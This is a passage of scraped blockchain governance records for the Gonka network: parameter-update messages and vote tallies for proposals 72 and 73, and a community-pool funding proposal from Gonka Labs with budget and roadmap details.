Adds a community-operated wallet to devshard_escrow_params.allowed_creator_addresses, enabling it to create a devshard escrow and operate as an additional self-hosted inference gateway/transfer agent. This is a minimal addition (appends one address) and does not remove or modify any existing operator. Goal: lower the barrier for independent node operators to participate as devshard/transfer-agent providers, improving network decentralization.
"}, {"location": "proposals/proposals/2026-q2/72/#final-tally", "title": "Final Tally", "text": "Yes 5,337 (2.2%) No 7,953 (3.3%) Veto 221,234 (90.7%) Abstain 9,421 (3.9%) Total 243,945 votes"}, {"location": "proposals/proposals/2026-q2/72/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3593\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"0\"\n },\n {\n \"model_id\": \"moonshotai/Kimi-K2.6\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"78\",\n \"exponent\": -2\n },\n \"penalty_start_epoch\": \"251\"\n },\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\",\n \"gonka1afj0tz53z56zngs425m83vxl5y2xmwm692hfrn\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v1/devshardd.zip\",\n \"sha256\": \"dad6f1b97843816c0a33874b89ac403e48b54fe3aa1a0fdccb228d89d2a5594c\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 73
Type: Update Params
Submit: 2026-06-10 07:32 UTC
Voting: 2026-06-10 07:32 UTC → 2026-06-12 07:32 UTC
Proposer: gonka1337v0tk0ng0dhmz2pk9qv0gsvpe48eafppc6u8
View on gonka.gg
Increase the minimum deposit required to submit a governance proposal to 500 GNK (500,000,000,000 ngonka) and expedited minimum deposit to 1000 GNK (1,000,000,000,000 ngonka). This resubmits proposal #69 which passed community vote but failed to execute due to incomplete governance parameter specification.
"}, {"location": "proposals/proposals/2026-q2/73/#final-tally", "title": "Final Tally", "text": "Yes 295,843 (96.3%) No 40 (0.0%) Veto 572 (0.2%) Abstain 10,823 (3.5%) Total 307,278 votes"}, {"location": "proposals/proposals/2026-q2/73/#messages", "title": "Messages", "text": "# Type 1/cosmos.gov.v1.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/cosmos.gov.v1.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"500000000000\"\n }\n ],\n \"max_deposit_period\": \"86400s\",\n \"voting_period\": \"172800s\",\n \"quorum\": \"0.250000000000000000\",\n \"threshold\": \"0.500000000000000000\",\n \"veto_threshold\": \"0.334000000000000000\",\n \"min_initial_deposit_ratio\": \"0.000000000000000000\",\n \"proposal_cancel_ratio\": \"0.500000000000000000\",\n \"proposal_cancel_dest\": \"\",\n \"expedited_voting_period\": \"43200s\",\n \"expedited_threshold\": \"0.667000000000000000\",\n \"expedited_min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000000000000\"\n }\n ],\n \"burn_vote_quorum\": false,\n \"burn_proposal_deposit_prevote\": false,\n \"burn_vote_veto\": true,\n \"min_deposit_ratio\": \"0.010000000000000000\"\n }\n }\n]\nPassed
Proposal ID: 74
Type: Execute Contract, Transfer With Vesting
Submit: 2026-06-10 20:42 UTC
Voting: 2026-06-10 20:42 UTC → 2026-06-12 20:42 UTC
Proposer: gonka1e3pepqllu89t8l2acw86fgp5jjkw8m7kcl47nk
Metadata: https://gonkalabs.com/proposal
$70,000 · Community Pool · 330,000 GNK · Gov ModuleView on gonka.gg
Full proposal: https://gonkalabs.com/proposal
This proposal funds the next six months of work for the Gonka ecosystem.
The focus is production-grade infrastructure and high-use products: Gonka.gg V2 as the default explorer and data hub, rpc.gonka.gg as reliable public RPC, proxy.gonka.gg for business inference access and API-key management, a mobile Gonka app based on GG Wallet, governance tooling through Gonkavote, and a public open-source Marketing Transparency Dashboard. Existing tools such as Gonkablocks, meter.gonka.gg, and other Gonka Labs projects will continue to receive maintenance, fixes, and support.
Gonka Labs products will remain non-commercial: no ads, paid placements, PR slots, or profit markups. Any fees are intended only to cover infrastructure and operating costs.
Accountability commitments include monthly public progress and spending reports, an 80%+ open-source code commitment, and on-chain transparency for both the USDT payment and GNK vesting.
Budget: 70,000 USDT paid immediately to cover six months of server infrastructure, monitoring, operations, and guaranteed stablecoin compensation; plus 330,000 GNK vested to the core team over 180 Gonka vesting epochs, aligning the team with long-term network growth.
Full proposal: https://gonkalabs.com/proposal
"}, {"location": "proposals/proposals/2026-q2/74/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/74/#community-funding-proposal-gonka-labs-year-one", "title": "Community Funding Proposal — Gonka Labs — Year One", "text": "Authors: Tim, Mike, Artem Subject to governance vote
A request for 70,000 USDT + 330,000 GNK (180-day vesting) from the Gonka community pool to fund enterprise-grade improvements to our core infrastructure products — aligned with the Gonka Network Development Roadmap.
"}, {"location": "proposals/proposals/2026-q2/74/#overview", "title": "Overview", "text": "Gonka Labs is requesting 70,000 USDT + 330,000 GNK with Vesting from the Gonka community pool. We've already shipped 16+ products — all without external funding. The core of this proposal is taking what we have to enterprise grade, plus two new products: G-Router — an OpenRouter-style layer that unifies access to all Gonka inference providers behind a single endpoint — and MTD (Marketing Transparency Dashboard).
This is not payment for past work. The first 6 months of Gonka Labs — everything you see in the track record — were self-funded. We don't ask for compensation for what's already done. This proposal funds the next 6 months of Gonka Labs building for the ecosystem — together wrapping a full year of us building.
The 6 months are five focused products: gonka.gg V2.0 (new high-performance engine), proxy.gonka.gg (B2B inference portal with analytics), rpc.gonka.gg (multi-provider aggregation, SLA), Gonka App (iOS + Android superapp), and Gonkavote (expanded governance tooling).
70,000 USDT is released in a single payment upon approval — covers server infrastructure and operations for the 6 months ahead. 330,000 GNK vests over 180 days — team payment for future work, verifiable on-chain.
"}, {"location": "proposals/proposals/2026-q2/74/#what-the-network-gets", "title": "What the network gets", "text": "All improvements target Gonka's core goals: accelerating adoption, lowering entry barriers, and institutional maturity. Institutional maturity means the network gains public uptime SLAs, open-source infrastructure layers, enterprise-grade API reliability, auditable governance processes, and transparent accountability — the signals validators, large integrators, and institutional participants need to take Gonka seriously. A more mature network is more valuable for every participant.
Aligned with the Gonka Network Development Roadmap
We built Gonka Labs products as non-commercial builders — no ads, no third-party product placements, no PR slots for sale. Any fees cover infrastructure and operational costs only — no commercial margins, no revenue extraction. All current ecosystem products will remain non-commercial. Where pricing exists, it stays at the average level across the Gonka network.
"}, {"location": "proposals/proposals/2026-q2/74/#who-we-are", "title": "Who We Are", "text": "Gonka Labs is a three-person engineering team — Tim, Mike, and Artem — that has been building infrastructure for the Gonka ecosystem since December 2025. We stumbled upon an interview with the Gonka founders, and their enthusiasm was astonishing. On December 12, 2025, we launched gonka.gg — the first blockchain explorer for Gonka.
We asked the community: \"What tools and services do we lack the most?\" — and then built them. One by one. Every single product started as a community request.
"}, {"location": "proposals/proposals/2026-q2/74/#track-record", "title": "Track Record", "text": "In under 6 months, with zero external funding, we shipped 16+ products and published 15 public open-source repositories. Here's what's live today:
"}, {"location": "proposals/proposals/2026-q2/74/#gonkagg", "title": "Gonka.gg", "text": "Block explorer + analytics platform. 5,000+ daily users, 2M+ API requests/day, 270M+ transactions indexed. A single home for everything Gonka, with nine sub-products inside: Block Explorer, Transactions, Participants, Inference Map, Slashing Monitor, Faucet, Reward Calculator, Node Tracker, Full GPU History.
"}, {"location": "proposals/proposals/2026-q2/74/#rpcgonkagg", "title": "rpc.gonka.gg", "text": "Managed RPC infrastructure. 400+ endpoints across 6 surfaces. ClickHouse-indexed, up to 110x faster than raw RPC.
"}, {"location": "proposals/proposals/2026-q2/74/#proxy", "title": "Proxy", "text": "Cloud-hosted OpenAI-compatible API for Gonka inference at proxy.gonka.gg. 1–2B tokens served daily.
"}, {"location": "proposals/proposals/2026-q2/74/#gonka-app", "title": "Gonka App", "text": "Open-source Chrome extension wallet with GNS integration, governance, IBC tokens, and dApp provider. 700+ users. gonkalabs/ggwallet
"}, {"location": "proposals/proposals/2026-q2/74/#gonka-name-service", "title": "Gonka Name Service", "text": "On-chain human-readable .gnk names. 4,000+ registered. Integrated across all our products. gonkalabs/gns
"}, {"location": "proposals/proposals/2026-q2/74/#opengnk", "title": "OpenGNK", "text": "Self-hosted OpenAI-compatible proxy for Gonka inference. 400+ installs. Tool calling, privacy sanitization. gonkalabs/opengnk
"}, {"location": "proposals/proposals/2026-q2/74/#gonkablocks", "title": "Gonkablocks", "text": "No-code AI tools platform on Gonka inference at blocks.gonka.gg. Pick a ready-made tool — Hive-Research, translator, summarizer, transcriber, and more — paste input, hit Run. No API keys, no registration, free for everyone.
"}, {"location": "proposals/proposals/2026-q2/74/#gonkavotecom", "title": "Gonkavote.com", "text": "Pre-vote governance signaling tool at gonkavote.com. Gauge community sentiment on a proposal before it goes to on-chain vote. gonkalabs/prevote
"}, {"location": "proposals/proposals/2026-q2/74/#g-meter", "title": "G-Meter", "text": "Network performance metrics dashboard at meter.gonka.gg. Real-time latency, throughput, and health monitoring across the Gonka network. gonkalabs/gmeter
"}, {"location": "proposals/proposals/2026-q2/74/#feather", "title": "Feather", "text": "Lightweight, open-source Gonka RPC node anyone can run. Designed for low-resource hardware and self-hosted setups. gonkalabs/feather
"}, {"location": "proposals/proposals/2026-q2/74/#tx-scanner", "title": "Tx-Scanner", "text": "Open-source blockchain indexer that accumulates millions of Gonka transactions and serves them with sub-second API latency. Powers gonka.gg. gonkalabs/tx-scanner
"}, {"location": "proposals/proposals/2026-q2/74/#gonka-agent", "title": "Gonka Agent", "text": "Open-source agent toolkit for building autonomous workflows on top of Gonka inference. gonkalabs/gonka-agent
"}, {"location": "proposals/proposals/2026-q2/74/#contract-playground", "title": "Contract Playground", "text": "Write, compile, simulate, and deploy CosmWasm smart contracts entirely in the browser. gonkalabs/wasm-cloud-compiler
"}, {"location": "proposals/proposals/2026-q2/74/#gonkaclaw", "title": "GonkaClaw", "text": "One-command AI agent setup powered by Gonka inference. gonkalabs/gonkaclaw
"}, {"location": "proposals/proposals/2026-q2/74/#ready-set-gonka", "title": "Ready Set Gonka", "text": "Community project directory for the Gonka ecosystem at readysetgonka.com.
"}, {"location": "proposals/proposals/2026-q2/74/#gonka-restitution-committee-grc", "title": "Gonka Restitution Committee (GRC)", "text": "Gonka Labs serves on the GRC — the community body investigating incidents where miners lost rewards and facilitating their restoration. We build open-source tooling for case intake, auditing, and resolution, and publish all findings publicly.
Miner Restitution · Open Audits · Community Work — GRC-intake-form, GRC-e267-kimi_shortfall, GRC-e247-preserver-audit
"}, {"location": "proposals/proposals/2026-q2/74/#built-in-the-open", "title": "Built in the open", "text": "15 public repositories at github.com/gonkalabs — over 80% of our code. Inspect, fork, run, and contribute. The infrastructure powering the Gonka ecosystem is yours to audit.
"}, {"location": "proposals/proposals/2026-q2/74/#why-this-proposal", "title": "Why This Proposal", "text": "Everything we've built so far has been self-funded. We've been running on personal savings and enthusiasm. That model works for prototypes — it doesn't work for enterprise infrastructure.
We built Gonka Labs products as non-commercial builders. No ads, no third-party product placement, no PR slots for sale. All current ecosystem products will remain non-commercial — just tools the ecosystem needs.
The Gonka ecosystem is growing. rpc.gonka.gg is the default Keplr wallet RPC. proxy.gonka.gg serves 1–2B inference tokens daily — and growing. gonka.gg is the biggest block explorer in Gonka, serving 5,000+ users daily — it is usually the primary entry point where new users first land when they want to understand or onboard into the Gonka network. The services are real, the load is real, and the quality bar needs to match. We want to:
We're not asking for money to start building — we're asking for money to keep building at a higher standard. The track record speaks for itself.
"}, {"location": "proposals/proposals/2026-q2/74/#the-ask", "title": "The Ask", "text": "70,000 USDT + 330,000 GNK 6 months of infra & ops / 180-day vesting
From the Gonka community pool · Subject to governance vote
Both components — USDT and GNK — are forward payment for work ahead, not payment for the past. The USDT covers 6 months of server infrastructure and operational costs. The GNK is the team's primary payment — vesting linearly over 180 days. Both are transparent and on-chain from day one.
This is the minimum for enterprise-grade infrastructure, service quality at the level we're committing to, and team payment for the work ahead.
"}, {"location": "proposals/proposals/2026-q2/74/#disbursement-mechanism", "title": "Disbursement Mechanism", "text": "The proposal uses a two-component structure. The USDT portion is released immediately on approval to cover infrastructure and operations. The GNK portion vests linearly on-chain over 180 days — this is the team's primary payment for their work and directly aligns our incentives with the health of the network.
"}, {"location": "proposals/proposals/2026-q2/74/#1-half-a-year-of-infra-and-ops-70000-usdt", "title": "1. Half a year of infra and ops — 70,000 USDT", "text": "Released to Gonka Labs immediately after governance approval. Covers 6 months of bare-metal hosting (ClickHouse clusters, CDN, RPC node bandwidth), monitoring stack, operational expenses, and a portion allocated directly to the team as a guaranteed stablecoin payment for their work.
"}, {"location": "proposals/proposals/2026-q2/74/#2-gnk-locked-in-180-day-linear-vesting-330000-gnk", "title": "2. GNK locked in 180-day linear vesting — 330,000 GNK", "text": "Locked in vesting. Released over 180 days. This is the team's payment for future work — paid in GNK, vested, verifiable on-chain. The longer the network grows, the more our GNK payment is worth. That's the alignment.
"}, {"location": "proposals/proposals/2026-q2/74/#budget-breakdown", "title": "Budget Breakdown", "text": ""}, {"location": "proposals/proposals/2026-q2/74/#usdt-70000-usdt-total", "title": "USDT — 70,000 USDT total", "text": "57% — Server Infrastructure — 40,000 USDT 6 months of bare-metal and cloud hosting: ClickHouse indexer clusters (270M+ transactions), CDN, RPC node bandwidth (rpc.gonka.gg), seriously refactored proxy.gonka.gg infrastructure to handle commercial loads, uptime monitoring, DDoS protection, SSL. These costs are fixed and non-negotiable for any production service.
43% — Development & Operations — 30,000 USDT CI/CD pipeline costs and build minutes. AI coding tools and subscriptions (used daily across the entire engineering workflow). Security scanning and vulnerability tooling. Load testing infrastructure for the proxy and RPC layers. Domain management, SSL, and certificate automation. Legal and compliance overhead. Community support tooling and documentation platform. Communications and project management for a distributed team over 6 months. App Store and Google Play developer accounts. A portion of this budget is allocated as a direct stablecoin payment to the engineering team — a small guaranteed base on top of GNK vesting, because we believe Gonka will thrive but we still have real bills.
"}, {"location": "proposals/proposals/2026-q2/74/#where-the-monthly-usdt-goes", "title": "Where the monthly USDT goes", "text": "70,000 USDT over 6 months is roughly 11,600 USDT per month. The majority covers infrastructure and operations. A portion of the 30,000 USDT Development & Operations budget goes directly to the engineering team as a guaranteed stablecoin payment — a small stable base on top of GNK. The rest funds the full dev and ops stack below:
Line Item Description Servers & cloud (IaaS) Bare-metal and cloud compute for indexers, RPC nodes, and API backends. The biggest hidden line item is data egress — outbound traffic is billed per GB, and we serve 2M+ API requests per day. Managed databases ClickHouse clusters with replication — 270M+ indexed transactions and growing daily. Storage, RAM, and query compute scale with the chain. Network & CDN Cloudflare and edge caching in front of every public endpoint. Security WAF, DDoS protection, SSL certificates, secrets management. Non-negotiable for services that wallets depend on. Observability Uptime monitoring, alerting, log aggregation, error tracking. Quietly becomes the second-largest cloud expense in most production setups — ours included. Development & DevOps GitHub organization, CI/CD runners, build and staging environments. SaaS & operations Communication, helpdesk, mail, and productivity tooling for the team and community support. Backups & disaster recovery Off-site snapshots of every database and config, with tested restores. Boring until the day it isn't."}, {"location": "proposals/proposals/2026-q2/74/#gnk-330000-gnk-180-day-linear-vesting", "title": "GNK — 330,000 GNK (180-day linear vesting)", "text": "100% — Team Payment — 330,000 GNK Payment for the future work of Tim, Mike, and Artem over 180 days. Distributed in GNK with linear vesting. The GNK structure means our economic outcome is directly tied to network performance and ecosystem health — we win when Gonka wins.
"}, {"location": "proposals/proposals/2026-q2/74/#roadmap-deliverables", "title": "Roadmap & Deliverables", "text": "Five core products hardened to enterprise grade. Six months. Plus two new products: G-Router — a multi-broker inference router (OpenRouter-style experience across all Gonka inference providers — a direct implementation of Track 2, Project 2 from the Gonka Network Development Roadmap) and MTD — Marketing Transparency Dashboard. Each product below has specific, concrete deliverables. This roadmap is not final — priorities will be re-evaluated with the community each month based on actual network needs.
"}, {"location": "proposals/proposals/2026-q2/74/#rpcgonkagg-multi-provider-rpc-aggregation-enterprise-reliability", "title": "rpc.gonka.gg — Multi-provider RPC aggregation & enterprise reliability", "text": "Gonka Roadmap: Track 4: Network reliability & observability · Track 8: Enterprise workloads
Gonka Roadmap: Track 2: Developer & AI agent access · Track 11: Demand activation · Track 8: Enterprise workloads
Gonka Roadmap: Track 4: Network reliability & observability · Track 11: Demand activation
Gonka Roadmap: Track 2: Developer & AI agent access · Track 11: Demand activation
Gonka Roadmap: Track 12: Community coordination
Already live at gonkavote.com · open-source on GitHub. This proposal expands it further.
Gonka Roadmap: Track 2: Developer & AI agent access
Gonka Roadmap: Track 11: Demand activation & ecosystem growth
Gonka Roadmap: Track 2, Project 2: Adapter for OpenRouter / aggregators — direct 1:1 implementation · Track 11: Demand activation
